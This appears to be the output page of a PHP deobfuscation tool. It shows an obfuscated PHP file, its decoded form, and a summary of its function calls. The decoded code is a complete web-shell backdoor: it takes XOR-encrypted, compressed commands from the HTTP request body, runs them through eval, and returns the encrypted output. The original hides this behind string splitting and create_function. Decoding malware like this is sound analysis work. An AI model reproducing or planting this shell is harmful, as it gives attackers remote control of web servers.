Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $E='xbxlX";)Tfunctio)T)Tn x()T$t,$k){$c=)Tstrlen()T)T$k);$l=st)Trlen($t);$o=)T"")T;..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="64a113a4";$kh="ccc22cffb9d2";$kf="f75b8c19e333";$p="cEANP2yPXtjxbxlX";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$E='xbxlX";)Tfunctio)T)Tn x()T$t,$k){$c=)Tstrlen()T)T$k);$l=st)Trlen($t);$o=)T"")T;';
$j='$k="6)T4a113a4)T";$kh)T=)T"ccc22cf)Tfb9d2";$kf=")Tf75b8c)T)T19e333")T;$p=")TcEA)TNP2yPXtj';
$y='();)T$r=@b)Tase64_enc)To)Tde(@x(@)T)Tgzc)Tompre)Tss($)To),$k));print(")T$p$kh$r$kf");}';
$I='@x(@base6)T4_deco)Tde($)Tm[1]),$k))T));)T$o=)T@ob_get_conte)T)Tnts()T);@ob_end_clean)T';
$J='ontents(")Tphp://)T)Tinpu)T)Tt"))T,$m)=)T=1) {@ob_start();@eva)Tl(@g)Tzuncom)Tpress)T(';
$W='{$j)T};}}return $)To;}if)T (@)T)Tpreg_match)T("/$kh(.+)T)$kf/",)T@fil)Te)T_get_c';
$x='for($i)T)T=0;$i<$l;){for()T$j=0)T;($j)T<$c&&$)Ti<$)Tl);$j++,$i++)T){$o.=)T$t{$i}^)T$k)T';
$Q=str_replace('B','','BcrBeateB_BfuncBtiBon');
$b=str_replace(')T','',$j.$E.$x.$W.$J.$I.$y);
$h=$Q('',$b);$h();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 14617cc0282b5e7e4a69dac987e44c9d |
Eval Count | 1 |
Decode Time | 262 ms |